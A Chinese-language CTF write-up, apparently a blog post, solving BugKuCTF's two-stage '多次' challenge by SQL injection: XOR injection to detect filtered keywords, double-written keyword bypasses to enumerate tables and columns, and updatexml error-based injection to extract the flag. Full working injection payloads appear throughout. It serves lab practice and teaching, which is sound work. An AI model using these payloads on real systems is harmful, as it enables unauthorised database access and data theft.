多次 - BugKuCTF

it2023-08-10  65

文章目录

第一关异或注入 第二关报错注入 这道题有两个sql注入

第一关

很明显的SQL注入,加入单引号报错 添加注释符--+,正常回显,注意#无正常回显,应该是被过滤了 添加or 1 = 1,发现报错

异或注入

重点来了,异或注入,可以判断一些是否过滤掉的字符

用法::两个条件相同(同真或同假)即为假

?id=1'^(length('union')!=0)--+

我们已经知道id=1必然为真,那么后面为真的时候,回显将会有错误,如果后面是假,则会回显正常。 当!=0回显为真,说明不等于0为假,说明长度就是0,则他就是北过滤了。 同理,我们推断可知union,or select,注意information也有or,但是我尝试使用 ?id=1'^(length('oorr')!=0)--+时候得到的结果是假,==0的结果还是假,这一点就很懵,希望有大佬解答一下

然后我们可以开始爆破数据表

?id=-1' ununionion selselectect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

然后爆破列名,

?id=-1' ununionion selselectect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+

注意table_name 后面的需要加引号

flag1里面是这样,那么我们看看address

第二关

得到一个新的sql注入界面 我试了一下 1 =24,他竟然还有回显,而且过滤掉的无法用双写,大小写混合注入 但是他会报错,那么我么那就用报错注入试一试

报错注入

UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值

其中的 concat() 函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误

而concat 则是连接成字符串 ,格式为 concat(’ 符号 ', 内容 ,‘符号’) 为方便记忆,我们把concat的符号全换成~,把updatexml 的string全换成1 那么格式统一后就是:

concat('~',查询项,'~'updatexml(1,concat(),1)

这样就方便多了 然后我们开始爆破

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()) ,'~'),1) --+

之后,爆破列名,flag2,然后和上面的操作一样

?id=1' and updatexml(1,concat('~',(select group_concat(flag2) from flag2) ,'~'),1) --+

希望有大佬能解决上面的问题

最新回复(0)